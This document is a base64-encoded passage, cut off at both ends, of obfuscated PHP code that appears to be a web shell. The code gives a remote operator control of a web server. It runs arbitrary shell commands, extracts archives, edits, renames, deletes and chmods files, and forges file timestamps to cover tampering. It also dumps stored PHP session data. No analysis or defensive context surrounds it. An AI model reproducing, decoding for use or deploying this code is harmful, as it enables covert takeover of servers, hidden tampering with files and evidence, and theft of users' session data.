fdW5yYXInXTsgfSBlbHNlIHsgJGNtZF91bnJhcj16OHQoInVucmFyIik7IH0gfSAkX1NFU1NJT05bJ2NtZF91bnJhciddPSRjbWRfdW5yYXI7IGlmKCFAaXNzZXQoJGNtZF91bnppcCkpeyBpZihAaXNzZXQoJF9TRVNTSU9OWydjbWRfdW56aXAnXSkpeyAkY21kX3VuemlwPSRfU0VTU0lPTlsnY21kX3VuemlwJ107IH0gZWxzZSB7ICRjbWRfdW56aXA9ejh0KCJ1bnppcCIpOyB9IH0gJF9TRVNTSU9OWydjbWRfdW56aXAnXT0kY21kX3VuemlwOyBpZighQGlzc2V0KCRjbWRfZ3VuemlwKSl7IGlmKEBpc3NldCgkX1NFU1NJT05bJ2NtZF9ndW56aXAnXSkpeyAkY21kX2d1bnppcD0kX1NFU1NJT05bJ2NtZF9ndW56aXAnXTsgfSBlbHNlIHsgJGNtZF9ndW56aXA9ejh0KCJndW56aXAiKTsgfSB9ICRfU0VTU0lPTlsnY21kX2d1bnppcCddPSRjbWRfZ3VuemlwOyBpZighQGlzc2V0KCRjbWRfYnVuemlwMikpeyBpZihAaXNzZXQoJF9TRVNTSU9OWydjbWRfYnVuemlwMiddKSl7ICRjbWRfYnVuemlwMj0kX1NFU1NJT05bJ2NtZF9idW56aXAyJ107IH0gZWxzZSB7ICRjbWRfYnVuemlwMj16OHQoImJ1bnppcDIiKTsgfSB9ICRfU0VTU0lPTlsnY21kX2J1bnppcDInXT0kY21kX2J1bnppcDI7IGlmKCFAaXNzZXQoJHJlZ19hcmNoaXZlcykpeyBpZihAaXNzZXQoJF9TRVNTSU9OWydyZWdfYXJjaGl2ZXMnXSkpeyAkcmVnX2FyY2hpdmVzPSRfU0VTU0lPTlsncmVnX2FyY2hpdmVzJ107IH0gZWxzZSB7ICRyZWdfYXJjaGl2ZXM9Jyc7IGlmKCFAZW1wdHkoJGNtZF91bnJhcikpICRyZWdfYXJjaGl2ZXMgLj0gInJhcnwiOyBpZighQGVtcHR5KCRjbWRfdW56aXApKSAkcmVnX2FyY2hpdmVzIC49ICJ6aXB8IjsgaWYoIUBlbXB0eSgkY21kX3RhcikmJiFAZW1wdHkoJGNtZF9ndW56aXApKSAkcmVnX2FyY2hpdmVzIC49ICJ0YXIuZ3p8dGd6fCI7IGlmKCFAZW1wdHkoJGNtZF90YXIpJiYhQGVtcHR5KCRjbWRfYnVuemlwMikpICRyZWdfYXJjaGl2ZXMgLj0gInRhci5iejJ8IjsgaWYoIUBlbXB0eSgkY21kX3RhcikpICRyZWdfYXJjaGl2ZXMgLj0gInRhcnwiOyBpZighQGVtcHR5KCRjbWRfZ3VuemlwKSkgJHJlZ19hcmNoaXZlcyAuPSAiZ3p8IjsgaWYoIUBlbXB0eSgkY21kX2J1bnppcDIpKSAkcmVnX2FyY2hpdmVzIC49ICJiejJ8IjsgaWYoIUBlbXB0eSgkcmVnX2FyY2hpdmVzKSkgJHJlZ19hcmNoaXZlcz1Ac3Vic3RyKCRyZWdfYXJjaGl2ZXMsMCwoQHN0cmxlbigkcmVnX2FyY2hpdmVzKS0xKSk7IH0gfSAkX1NFU1NJT05bJ3JlZ19hcmNoaXZlcyddPSRyZWdfYXJjaGl2ZXM7IH0gaWYoJGJ6aXBhcmNoaXZlKXsgaWYoIUBpc3NldCgkcmVnX2FyY2hpdmVzKSl7IGlmKEBpc3NldCgkX1NFU1NJT05bJ3JlZ19hcmNoaXZlcyddKSl7ICRyZWdfYXJjaGl2ZXM9JF9TRVNTSU9OWydyZWdfYXJjaGl2ZXMnXTsgaWYoQGVtcHR5KCRyZWdfYXJjaGl2ZXMpKXsgJHJlZ19hcmNoaXZlcz0iemlwIjsgfSBlbHNlIHsgJHJfZT1AZXhwbG9kZSgifCIsJHJlZ19hcmNoaXZlcyk7IGlmKCFAaW5fYXJyYXkoInppcCIsJHJfZSkpICRyZWdfYXJjaGl2ZXMgLj0gInx6aXAiOyB9IH0gZWxzZSB7ICRyZWdfYXJjaGl2ZXM9J3ppcCc7IH0gfSAkX1NFU1NJT05bJ3JlZ19hcmNoaXZlcyddPSRyZWdfYXJjaGl2ZXM7IH0gaWYoIUBpc3NldCgkY29sb3Jfc2tpbikpeyBpZihAaXNzZXQoJF9TRVNTSU9OWydjb2xvcl9za2luJ10pKXsgJGNvbG9yX3NraW49JF9TRVNTSU9OWydjb2xvcl9za2luJ107IH0gZWxzZSB7ICRjb2xvcl9za2luPXo3eignNScsJ2RlZmF1bHRfc2tpbicpOyB9IH0gJF9TRVNTSU9OWydjb2xvcl9za2luJ10gPSAkY29sb3Jfc2tpbjsgaWYoIUBpc3NldCgkdXNlX2ltYWdlcykpeyBpZihAaXNzZXQoJF9TRVNTSU9OWyd1c2VfaW1hZ2VzJ10pKXsgJHVzZV9pbWFnZXM9JF9TRVNTSU9OWyd1c2VfaW1hZ2VzJ107IH0gZWxzZSB7ICR1c2VfaW1hZ2VzPXo3eignNScsJ2ltYWdlcycpOyB9IH0gZWxzZSB7ICR1c2VfaW1hZ2VzPSAoYm9vbCkoaW50KSR1c2VfaW1hZ2VzOyB9ICRfU0VTU0lPTlsndXNlX2ltYWdlcyddID0gJHVzZV9pbWFnZXM7IGlmKCR1c2VfYnVmZmVyKXsgaWYoJGFjdD09ImYiJiZAaW5fYXJyYXkoJGZ0LCRhX2J1ZikpeyAkYWN0PSdscyc7ICRhYnVmPSRmdDsgJGY9JGQuJGY7IH0gaWYoQGlzc2V0KCRlbXB0eWJ1ZikgJiYgJGVtcHR5YnVmKSB6MGQoKTsgejFkKCk7IGlmKEBpc3NldCgkYWJ1ZikgJiYgQGluX2FycmF5KCRhYnVmLCRhX2J1ZikpeyBpZihAaXNzZXQoJHR0KSkgejFvKCR0dCwkYWJ1Zik7IGlmKEBpc3NldCgkZikpIHoxbygkZiwkYWJ1Zik7IH0gZWxzZWlmKEBpc3NldCgkYWJ1ZikgJiYgQGluX2FycmF5KCRhYnVmLCRiX2J1ZikpeyBzd2l0Y2goJGFidWYpeyBjYXNlICdicGFzdGVjb3B5JzogaWYoQGlzc2V0KCRiY29weSkmJkBpc19hcnJheSgkYmNvcHkpJiZAY291bnQoJGJjb3B5KT4wKXsgZm9yZWFjaCgkYmNvcHkgYXMgJHRjZil7IGlmKHo0cigkdGNmKSkgejhyKCR0Y2YsICh6NGooJHRjZik/IHoxaygkZCkuejJsKCR0Y2YpOiB6MWsoJGQpKSk7IH0gfSBicmVhazsgY2FzZSAnYnBhc3RlY3V0JzogaWYoQGlzc2V0KCRiY3V0KSYmQGlzX2FycmF5KCRiY3V0KSYmQGNvdW50KCRiY3V0KT4wKXsgZm9yZWFjaCgkYmN1dCBhcyAkdGNmKXsgaWYoejRyKCR0Y2YpKSB6OHAoJHRjZiwgejFrKCRkKS4oejRqKCR0Y2YpP3oybCgkdGNmKTonJykpOyB6MW8oJHRjZiwiYmN1dCIpOyB9IH0gYnJlYWs7IGNhc2UgJ2JwYXN0ZWFsbCc6IGlmKEBpc3NldCgkYmNvcHkpJiZAaXNfYXJyYXkoJGJjb3B5KSYmQGNvdW50KCRiY29weSk+MCl7IGZvcmVhY2goJGJjb3B5IGFzICR0Y2YpeyBpZih6NHIoJHRjZikpIHo4cigkdGNmLCB6MWsoJGQpLih6NGooJHRjZik/ejJsKCR0Y2YpOicnKSk7IH0gfSBpZihAaXNzZXQoJGJjdXQpJiZAaXNfYXJyYXkoJGJjdXQpJiZAY291bnQoJGJjdXQpPjApeyBmb3JlYWNoKCRiY3V0IGFzICR0Y2YpeyBpZih6NHIoJHRjZikpIHo4cCgkdGNmLCB6MWsoJGQpLih6NGooJHRjZik/ejJsKCR0Y2YpOicnKSk7IHoxbygkdGNmLCJiY3V0Iik7IH0gfSBicmVhazsgZGVmYXVsdDogYnJlYWs7IH0gfSB6MGooKTsgaWYoQGlzc2V0KCRzaG93YnVmKSAmJiAkc2hvd2J1Zil7ICRsc19hPUBhcnJheV9tZXJnZSgkYmNvcHksJGJjdXQpOyB9IH0gejN6KCk7IHozYygpOyB6MHAoKTsgaWYoJGFjdD09ImYiJiZAaXNzZXQoJGZ0KSYmKCRmdD09ImV4dHJhY3QifHwkZnQ9PSJleHRyYWN0emlwIikpeyAkZmY9Jyc7IGlmKHo0cigkZC4kZikpeyAkZmY9JGQuJGY7IH0gZWxzZWlmKHo0cigkZikpIHsgJGQ9ejNhKCRmKTsgJGY9ejJsKCRmKTsgJGZmPSRkLiRmOyB9IGlmKEBpc3NldCgkcmVnX2FyY2hpdmVzKSYmJHJlZ19hcmNoaXZlcyE9JycmJkBpc3NldCgkZmYpKXsgaWYoQHByZWdfbWF0Y2goJy9cLignLiRyZWdfYXJjaGl2ZXMuJykkL2knLCRmLCRtKSl7IGlmKEBpc3NldCgkbVsxXSkpeyBpZigkZnQ9PSJleHRyYWN0IiYmJHNoX2V4ZWMpeyBzd2l0Y2goQHN0cnRvbG93ZXIoJG1bMV0pKXsgY2FzZSAncmFyJzogejllKCJ1bnJhciB4ICRmZiIpOyBicmVhazsgY2FzZSAnemlwJzogejllKCJ1bnppcCAkZmYiKTsgYnJlYWs7IGNhc2UgJ3Rhci5iejInOiB6OWUoInRhciBqeGYgJGZmIik7IGJyZWFrOyBjYXNlICd0YXIuZ3onOiB6OWUoInRhciB6eGYgJGZmIik7IGJyZWFrOyBjYXNlICd0Z3onOiB6OWUoInRhciB6eGYgJGZmIik7IGJyZWFrOyBjYXNlICd0YXInOiB6OWUoInRhciB4ZiAkZmYiKTsgYnJlYWs7IGNhc2UgJ2d6JzogejllKCJndW56aXAgJGZmIik7IGJyZWFrOyBjYXNlICdiejInOiB6OWUoImJ1bnppcDIgJGZmIik7IGJyZWFrOyBkZWZhdWx0OiBicmVhazsgfSB9IGVsc2VpZigkZnQ9PSJleHRyYWN0emlwIil7IGVjaG8gejNxKCh6MG0oJGZmLCRkKSA/IHo5eSgiNDc2IiwkZik6ejl5KCI0NzciLCRmKSksJzAnKTsgfSB9IH0gfSAkYWN0PSJscyI7IH0gaWYoQGlzc2V0KCRyZW5kaXJtc2cpJiYhQGVtcHR5KCRyZW5kaXJtc2cpKSBlY2hvICRyZW5kaXJtc2c7IGlmKEBpc3NldCgkc2hvd3JlbmFtZTEpJiYkc2hvd3JlbmFtZTEpeyBlY2hvIHozcSh6NXgoYXJyYXkoImFjdCI9PiJkIiwiZCIsImR0Ij0+InJlbmFtZSIsInR0IiwiZHJlbmFtZSI9PiIxIiksejEwdyh6N3UoejZsKHo3bih6OXkoIjQ3MyIsejJsKCR0dCkpKS56NXkoIm5ld25hbWUiLCR0dCwiOSIpLno4Yih6OXkoIjczIiksIjciKSkpLCIyIikpLCcwJyk7IH0gaWYoJGFjdD09ImYiJiZAaXNzZXQoJGZ0KSYmJGZ0PT0icmVuYW1lIiYmQGlzc2V0KCRmKSYmIUBlbXB0eSgkZikpeyBpZihAaXNzZXQoJGZyZW5hbWUpJiYkZnJlbmFtZSYmQGlzc2V0KCRuZXduYW1lKSYmIUBlbXB0eSgkbmV3bmFtZSkpeyBpZih6M2EoJG5ld25hbWUpPT0nLi8nKXsgJG5ld25hbWU9ejNhKCRmZikuejJsKCRuZXduYW1lKTsgfSBlbHNlaWYoIXo0cih6M2EoJG5ld25hbWUpKSl7ICRuZXduYW1lPXozYSgkZmYpLiRuZXduYW1lOyB9IGlmKHo0cigkbmV3bmFtZSkmJno0aigkbmV3bmFtZSkpeyAkbmV3bmFtZT16MWsoJG5ld25hbWUpLnoybCgkZmYpOyB9IGVjaG8gejNxKChAcmVuYW1lKCRmZiwkbmV3bmFtZSk/ejl5KCI0NzQiLCRuZXduYW1lKTp6OXkoIjQ3NSIsJGZmKSksJzAnKTsgfSBlbHNlIHsgaWYoIWlzc2V0KCRmZikpeyBpZih6NHIoJGQuJGYpKXsgJGZmPSRkLiRmOyB9IGVsc2VpZih6NHIoJGYpKXsgJGZmPSRmOyB9IH0gZWNobyB6M3EoejV4KGFycmF5KCJhY3QiPT4iZiIsImYiLCJkIiwiZnQiPT4icmVuYW1lIiwiZmYiLCJmcmVuYW1lIj0+IjEiKSx6MTB3KHo3dSh6NmwoejduKHo5eSgiNDczIix6MmwoJGZmKSkpLno1eSgibmV3bmFtZSIsJGZmLCI5IikuejhiKHo5eSgiNzMiKSwiNyIpKSksIjIiKSksJzAnKTsgfSAkYWN0PSJscyI7IH0gZWxzZWlmKCRhY3Q9PSJmIiYmQGlzc2V0KCRmdCkmJiRmdD09ImRlbGV0ZSImJkBpc3NldCgkZikmJiFAZW1wdHkoJGYpKXsgJGZmPScnOyBpZih6NHIoJGQuJGYpKXsgJGZmPSRkLiRmOyB9IGVsc2VpZih6NHIoJGYpKXsgJGZmPSRmOyB9IGlmKHo0cigkZmYpKSB6OHMoJGZmKTsgJGFjdD0ibHMiOyB9IGlmKCgkYWN0PT0iZGZ1bmMifHwkYWN0PT0iZiIpJiYoKEBpc3NldCgkc3QxKSYmJHN0MSl8fEBpc3NldCgkc3QyKSYmJHN0MikpeyBpZigkYWN0PT0iZGZ1bmMiKXsgJHRvdWNoPSRkOyB9IGVsc2UgeyAkdG91Y2g9JGY7IH0gaWYoQGlzc2V0KCRzdDIpJiYkc3QyJiYhQGVtcHR5KCR0b3VjaCkmJno0cigkdG91Y2gpJiZAaXNzZXQoJHRtb250aCkmJiFAZW1wdHkoJHRtb250aCkmJkBpc3NldCgkdGRheSkmJiFAZW1wdHkoJHRkYXkpJiZAaXNzZXQoJHR5ZWFyKSYmIUBlbXB0eSgkdHllYXIpJiZAaXNzZXQoJHRob3VyKSYmIUBlbXB0eSgkdGhvdXIpJiZAaXNzZXQoJHRtaW4pJiYhQGVtcHR5KCR0bWluKSYmQGlzc2V0KCR0c2VjKSYmIUBlbXB0eSgkdHNlYykpeyAkc2RhdGU9JHRkYXkuIiAiLiR0bW9udGguIiAiLiR0eWVhci4iICIuJHRob3VyLiIgaG91cnMgIi4kdG1pbi4iIG1pbnV0ZXMgIi4kdHNlYy4iIHNlY29uZHMiOyAkdGRhdGU9QHN0cnRvdGltZSgkc2RhdGUpOyBpZihAdG91Y2goJHRvdWNoLCR0ZGF0ZSwkdGRhdGUpKXsgJHRtc2c9ejl5KCIxMTMiLEBkYXRlKCJNLWQtWSBIOmk6cyIsJHRkYXRlKSk7IH1lbHNleyAkdG1zZz16OXkoIjExNCIpOyB9IH0gaWYoQGlzc2V0KCRzdDEpJiYkc3QxJiZ6NHIoJHRvdWNoKSYmQGlzc2V0KCRjb3B5X2Zyb20pJiYhQGVtcHR5KCRjb3B5X2Zyb20pJiZ6NHIoJGNvcHlfZnJvbSkpeyBpZihAdG91Y2goJHRvdWNoLEBmaWxlbXRpbWUoJGNvcHlfZnJvbSksQGZpbGVtdGltZSgkY29weV9mcm9tKSkpeyAkdG1zZz16OXkoIjExMyIsQGRhdGUoIk0tZC1ZIEg6aTpzIixAZmlsZW10aW1lKCRjb3B5X2Zyb20pKSk7IH1lbHNleyAkdG1zZz16OXkoIjExNCIpOyB9IH0gfSBpZihAaXNzZXQoJGNobW9kX3N1Ym1pdCkmJiRjaG1vZF9zdWJtaXQmJkBpc3NldCgkY3RhcmdldCkpeyBpZihAaXNzZXQoJGNobW9kX3ZhbCkpeyBAY2htb2QoJGN0YXJnZXQsQG9jdGRlYygkY2htb2RfdmFsKSk7IH0gZWxzZSB7ICRvY3RldD0iMCIuQGJhc2VfY29udmVydCgoJGNobW9kX29bInIiXT8iMSI6IjAiKS4oJGNobW9kX29bInciXT8iMSI6IjAiKS4oJGNobW9kX29bIngiXT8iMSI6IjAiKS4oJGNobW9kX2dbInIiXT8iMSI6IjAiKS4oJGNobW9kX2dbInciXT8iMSI6IjAiKS4oJGNobW9kX2dbIngiXT8iMSI6IjAiKS4oJGNobW9kX3dbInIiXT8iMSI6IjAiKS4oJGNobW9kX3dbInciXT8iMSI6IjAiKS4oJGNobW9kX3dbIngiXT8iMSI6IjAiKSwyLDgpOyBAY2htb2QoJGN0YXJnZXQsQG9jdGRlYygkb2N0ZXQpKTsgfSBpZih6N2UoJ2NsZWFyc3RhdGNhY2hlJykpIEBjbGVhcnN0YXRjYWNoZSgpOyB9IHo4bigpOyBpZigkYWN0PT0iZGZ1bmMiKXsgejJuKCk7IHowYygkZCwwLDEpOyBpZih6N2UoJ3RvdWNoJykpeyB6M2koKTsgZWNobyB6M3Eoejl5KCIxMjQiKS56OXgoKS56NHkoJGQpKTsgZWNobyB6MTB3KCB6NWIoKS4gKEBpc3NldCgkdG1zZykmJiFAZW1wdHkoJHRtc2cpP3o3dSh6NXQoejl4KCkpLno5YygkdG1zZykpOicnKS4gejd1KHo1eChhcnJheSgiYWN0IiwiZCIsInN0MSI9PiIxIiksejV0KHo5eSgiMTA0IikpLno5Yyh6NXkoImNvcHlfZnJvbSIsIiIsIjkiKS56OGIoejl5KCIxMTIiKSwiNyIpKSkpLiB6N3UoejV4KGFycmF5KCJhY3QiLCJkIiwic3QyIj0+IjEiKSx6NXQoejl5KCIxMDUiKSkuejljKHozbSgidG1vbnRoIiwkdG1vbnRoX2FyciwiNCIsMSkuIi0iLnozbSgidGRheSIsJHRkYXlfYXJyLCI0IiwxKS4iLSIuejNtKCJ0eWVhciIsJHR5ZWFyX2FyciwiNCIsMSkuejl4KDEyKS56M20oInRob3VyIiwkdGhvdXJfYXJyLCIxIiwxKS4iOiIuejNtKCJ0bWluIiwkdG1pbl9hcnIsIjEiLDEpLiI6Ii56M20oInRzZWMiLCR0c2VjX2FyciwiMSIsMSkuejhiKHo5eSgiMTEyIiksIjciKSApKSkuIHo1YigpICwiMiIpOyB9IH0gaWYoJGFjdD09ImYiJiZAaXNzZXQoJGZ0KSl7ICRmdD1AdHJpbSgkZnQpOyBpZihAZW1wdHkoJGZ0KSkgJGFjdD0ibHMiOyB9IGlmKCRhY3Q9PSJmIil7IGlmKCFAaXNzZXQoJGYpKSAkZj0nJzsgaWYoIUBpc3NldCgkZnQpKSAkZnQ9Jyc7IGlmKEBpc3NldCgkcmVhZGZpbGUpKXsgJGQ9ejNhKCRyZWFkZmlsZSk7ICRmPXoybCgkcmVhZGZpbGUpOyB9IGVsc2VpZihAaXNzZXQoJHdyaXRlZmlsZSkpeyAkZD16M2EoJHdyaXRlZmlsZSk7ICRmPXoybCgkd3JpdGVmaWxlKTsgfSAkZm1zZz0nJzsgaWYoIXo0ZSgkZC4kZikmJno0ZSgkZikpeyAkZD16M2EoJGYpOyAkZj16MmwoJGYpOyB9IGVsc2VpZih6MWsoJGYpPT16MWsoJGQpKXsgJGY9Jyc7ICRmbXNnPXo5eSgiNDcyIik7IH0gZWxzZWlmKHozYSgkZik9PXoxaygkZCkpeyAkZj16MmwoJGYpOyB9IHoybigpOyBpZigoIXo0aigkZC4kZikmJnoxeSgkZC4kZikpfHwoIXo0cigkZC4kZikmJnowbigkZCkmJkBpc3NldCgkZnQpJiYkZnQ9PSJuZXciKSl7ICRleHQ9QHN0cnRvbG93ZXIoejJsKCRmLCcuJykpOyAkcmZ0PXo0eCgkZik7IGlmKEBwcmVnX21hdGNoKCIvc2Vzc18oLiopLyIsJGYpKXsgJHJmdD0ic2VzcyI7IH0gaWYoIUBpc3NldCgkZnQpfHxAZW1wdHkoJGZ0KSl7ICRmdD0kcmZ0OyB9IGlmKCRmdD09Im5ldyIpeyB6OXQoJGQuJGYsIiIpOyAkZnQ9ImVkaXQiOyB9IGlmKCRmdD09InJjb3duIil7ICRyY21zZz0iICIuKHoydygkZC4kZik/ejVwKHo5eSgiMjkwIikpOno4ayh6OXkoIjI5MSIpKSk7ICRmdD0iY29kZSI7IH0gaWYoQGVtcHR5KCRmdCkpICRmdD0nZnVuY3Rpb25zJzsgZWNobyB6M3Eoejl5KCI3OCIpLno5eCgpLigkdXNlX2ltYWdlcz8nPGltZyBzcmM9Ij9hY3Q9aSZhbXA7aW1nPScuJGV4dC4nIj4gJzonJykuejR5KCRkLiRmLiIgKCIuejd4KEBmaWxlc2l6ZSgkZC4kZikpLiIpIikuKEBpc3NldCgkcmNtc2cpPyRyY21zZzonJykpOyB6MnEoKTsgaWYoKCRmdCE9J2Z1bmN0aW9ucyd8fCgkZnQ9PSdmdW5jdGlvbnMnJiZAaXNzZXQoJHN1Ym1pdF9lbmNvZGUpKSkmJiRmdCE9J2luaScpICRyPXo5bygkZC4kZik7IHN3aXRjaCgkZnQpeyBjYXNlICdmdW5jdGlvbnMnOiBlY2hvIHozcSh6OXkoIjkwIikpOyBlY2hvIHo2cygpOyAkZW5jb2RlX2Z1bmN0aW9ucz16MWUoKTsgZWNobyB6OW0oJzInKS56OWsoKS56OXYoImQiKS56OXYoImFjdCIsImYiKS56OXYoImYiKS56OXYoImZ0IiwiZnVuY3Rpb25zIikuejl2KCJzdWJtaXRfZW5jb2RlIiwiMSIpLiB6N3UoejV0KHo5eSgiOTEiKSkuejljKHozbSgiZW5jb2RlX3NlbGVjdGVkIiwkZW5jb2RlX2Z1bmN0aW9ucywiMCIsMSwnOScpLno4Yih6OXkoIjkyIiksJzcnKSkpLno5bCgpOyAkZW5jb2Rlcl9vdXRwdXQ9IiI7IGlmKEBpc3NldCgkc3VibWl0X2VuY29kZSkmJiRzdWJtaXRfZW5jb2RlKXsgJGVuY29kZXJfb3V0cHV0PSRlbmNvZGVfc2VsZWN0ZWQoJHIpOyBlY2hvIHo5ZCh6NXQoejl5KCIxMDIiKSkuejljKHo1dygnJywnMScpLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX291dHB1dCkuejVxKCkpKTsgfSBlY2hvIHoxMHEoKTsgZWNobyB6NnMoKTsgejBjKCRkLiRmKTsgaWYoejdlKCd0b3VjaCcpKXsgejNpKCk7IGVjaG8gejNxKHo5eSgiMTAzIikpOyBlY2hvIHoxMHcoIHo1YigpLiAoQGlzc2V0KCR0bXNnKSYmIUBlbXB0eSgkdG1zZyk/ejd1KHo1dCh6OXgoKSkuejljKCR0bXNnKSk6JycpLiB6N3UoejV4KGFycmF5KCJhY3QiLCJkIiwiZiIsImZ0Ij0+ImZ1bmN0aW9ucyIsInN0MSI9PiIxIiksejV0KHo5eSgiMTA0IikpLno5Yyh6NXkoImNvcHlfZnJvbSIsIiIsIjkiKS56OGIoejl5KCIxMTIiKSwiNyIpKSkpLiB6N3UoejV4KGFycmF5KCJhY3QiLCJkIiwiZiIsImZ0Ij0+ImZ1bmN0aW9ucyIsInN0MiI9PiIxIiksejV0KHo5eSgiMTA1IikpLno5Yyh6M20oInRtb250aCIsJHRtb250aF9hcnIsIjQiLDEpLiItIi56M20oInRkYXkiLCR0ZGF5X2FyciwiNCIsMSkuIi0iLnozbSgidHllYXIiLCR0eWVhcl9hcnIsIjQiLDEpLno5eCgxMikuejNtKCJ0aG91ciIsJHRob3VyX2FyciwiMSIsMSkuIjoiLnozbSgidG1pbiIsJHRtaW5fYXJyLCIxIiwxKS4iOiIuejNtKCJ0c2VjIiwkdHNlY19hcnIsIjEiLDEpLno4Yih6OXkoIjExMiIpLCI3IikgKSkpLiB6NWIoKSAsIjIiKTsgfSBicmVhazsgY2FzZSAnZWRpdCc6ICRtc2c9IiI7IGlmKEBpc3NldCgkc2F2ZSkmJiRzYXZlKXsgJG1zZz0oejl0KCRkLiRmLCR0eHRlZGl0KSA/IHo5eSgiMjQzIik6ejl5KCI0NTAiKSk7ICRyPXo5bygkZC4kZik7IH0gZWNobyB6NXgoYXJyYXkoImFjdCI9PiJmIiwiZCIsImYiLCJmdCI9PiJlZGl0Iiwic2F2ZSI9PiIxIiksejEwdyh6OWQoejZsKHo1dygndHh0ZWRpdCcsJzInKS5AaHRtbHNwZWNpYWxjaGFycygkcikuejVxKCkuejl6KCkuejV6KCJsZWZ0IiwiMyIpLno3bih6OXkoIjExNSIpKS4nPGlucHV0IHR5cGU9InRleHQiIGlkPSJyZXBsYWNlX2EiIGNsYXNzPSInLno0bSgnNScsJzQnKS4nIj4nLno5eCg1KS56N24oejl5KCIxMTYiKSkuJzxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0icmVwbGFjZV9iIiBjbGFzcz0iJy56NG0oJzUnLCc0JykuJyI+Jy56OG0oejl5KCIxMTciKSwnZm5jX3JlcGxhY2UoXCd0eHRlZGl0XCcsXCdyZXBsYWNlX2FcJyxcJ3JlcGxhY2VfYlwnKTsnLCI3IikuJzxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9Iicuejl5KCIxMTgiKS4nIiBjbGFzcz0iJy56NG0oJzcnLCc1JykuJyI+Jy56OGIoejl5KCIxMTkiKSwiNyIpLno5eCgpLno3bigkbXNnKS56NWgoKSkpLCIyIikpOyBlY2hvIHo2cygpOyBicmVhazsgY2FzZSAndGV4dCc6IGVjaG8gejEwdyh6OWQoejZsKCc8cHJlPicuQGh0bWxzcGVjaWFsY2hhcnMoJHIpLic8L3ByZT4nKSksJzInKTsgYnJlYWs7IGNhc2UgJ3dlYic6ICR1cmw9ejh1KCk7ICR1cmxfYT1AcGFyc2VfdXJsKCR1cmwpOyBpZihAaXNzZXQoJHVybF9hWyJob3N0Il0pKXsgJGhvc3Q9JHVybF9hWyJob3N0Il07IGlmKCgkd3d3ZGlyPXozbigpKSE9PWZhbHNlKXsgaWYoQHN0cnN0cigkZC4kZiwkd3d3ZGlyKSE9PWZhbHNlKXsgJGxpbms9Imh0dHA6Ly8iLiRob3N0LiIvIi5Ac3Vic3RyKCRkLiRmLCBAc3RybGVuKCR3d3dkaXIpKTsgZWNobyB6MTB3KHo5ZCh6NmwoJzxpZnJhbWUgYm9yZGVyPSIwIiBjbGFzcz0iaWZyYW1lIiBzcmM9IicuJGxpbmsuJyI+Jy56OXkoIjQ3MSIpLic8L2lmcmFtZT4nKSkuejViKCksJzInKTsgfSB9IH0gYnJlYWs7IGNhc2UgJ2h0bWwnOiBpZihAaXNzZXQoJHdoaXRlKSYmJHdoaXRlKXsgQG9iX2NsZWFuKCk7IGVjaG8gJHI7IEBleGl0KCk7IH0gZWxzZSB7IGVjaG8gejEwdyh6OWQoejZsKCc8aWZyYW1lIGJvcmRlcj0iMCIgY2xhc3M9ImlmcmFtZSIgc3JjPSI/YWN0PWYmYW1wO2Y9Jy5AdXJsZW5jb2RlKCRmKS4nJmFtcDtkPScuQHVybGVuY29kZSgkZCkuJyZ3aGl0ZT0xJmZ0PWh0bWwiPicuejl5KCI0NzEiKS4nPC9pZnJhbWU+JykpLno1YigpLCcyJyk7IH0gYnJlYWs7IGNhc2UgJ2h0bWxzJzogaWYoQGlzc2V0KCR3aGl0ZSkmJiR3aGl0ZSl7ICRyPUBwcmVnX3JlcGxhY2UoJyNcYihvbig/PCFcLm9uKVthLXpdezIsMjB9KVxzKj1ccyooW1xcXCciXSk/KCg/KDIpKD8oPzw9IilbXiJdezEsMTAwMH18W15cXFwnXXsxLDEwMDB9KXxbXlxzIlxcXCc+XXsxLDEwMDB9KSkoPygyKVxcMnwpI2knLCcnLCRyKTsgJHI9QHByZWdfcmVwbGFjZSgnIyg8c2NyaXB0W14+XSo+Lio/PC9zY3JpcHQ+fDxbL10qbm9zY3JpcHQ+fDxtZXRhXHMoLio/KT4pI2lzJywnJywkcik7ICRyPUBwcmVnX3JlcGxhY2UoJyNcYihocmVmKD88IVwuKSlccyo9XHMqKFtcXFwnIl0pP2phdmFzY3JpcHQ6I2knLCdocmVmPVxcMiNqYXZhc2NyaXB0OicsJHIpOyBAb2JfY2xlYW4oKTsgZWNobyAkcjsgQGV4aXQoKTsgfSBlbHNlIHsgZWNobyB6MTB3KHo5ZCh6NmwoJzxpZnJhbWUgYm9yZGVyPSIwIiBjbGFzcz0iaWZyYW1lIiBzcmM9Ij9hY3Q9ZiZhbXA7Zj0nLkB1cmxlbmNvZGUoJGYpLicmYW1wO2Q9Jy5AdXJsZW5jb2RlKCRkKS4nJndoaXRlPTEmZnQ9aHRtbHMiPicuejl5KCI0NzEiKS4nPC9pZnJhbWU+JykpLno1YigpLCcyJyk7IH0gYnJlYWs7IGNhc2UgJ2NvZGUnOiBlY2hvIHo3dygnJywnMicpLno3bygpLno2cSgpOyB6MXAoJHIsJGV4dCk7IGVjaG8gejdmKCkuejd5KCkuejEwcSgpOyBicmVhazsgY2FzZSAnZXhlJzogaWYoIUBpc3NldCgkZWNtZCkpeyAkZXh0PXoybCgkZiwnLicpOyAkZWNtZD0kZC4kZjsgZm9yZWFjaCgkZXhlY2FsaWFzZXMgYXMgJGVrPT4kZXYpeyBpZihAaW5fYXJyYXkoQHN0cnRvbG93ZXIoJGV4dCksJGV2KSl7ICRlY21kPUBzdHJfcmVwbGFjZSgiJWYlIiwkZWNtZCwkZWspOyBicmVhazsgfSB9IH0gZWNobyB6NXgoYXJyYXkoImFjdCI9PiJmIiwiZnQiPT4iZXhlIiwiZCIsImYiLCJleGVjIj0+IjEiKSx6MTB3KCB6NWIoKS4gejd1KHo2bCh6N24oejl5KCIxMjAiKSkuejV5KCdlY21kJywnJywiOSIpLno4Yih6OXkoIjk5IiksIjciKSkpLiB6NWIoKSAsIjIiKSk7IGlmKEBpc3NldCgkZXhlYykmJiRleGVjJiYhQGVtcHR5KCRlY21kKSl7IGVjaG8gejltKCIyIikuejZmKCkuejZxKCkuejV3KCcnLCIxIik7ICRyZXM9ejllKCRlY21kKTsgZWNobyAkcmVzOyBlY2hvIHo1cSgpLno3ZigpLno3eSgpLno1YigpLnoxMHEoKTsgfSBicmVhazsgY2FzZSAnc2Vzcyc6IGVjaG8gejd3KCcnLCcyJykuejdvKCkuejZxKCkuJzxwcmU+JzsgJGU9QGV4cGxvZGUoJ3wnLCRyKTsgZWNobyAkZVswXS56OXooKTsgQHZhcl9kdW1wKEB1bnNlcmlhbGl6ZSgkZVsxXSkpOyBlY2hvICc8L3ByZT4nOy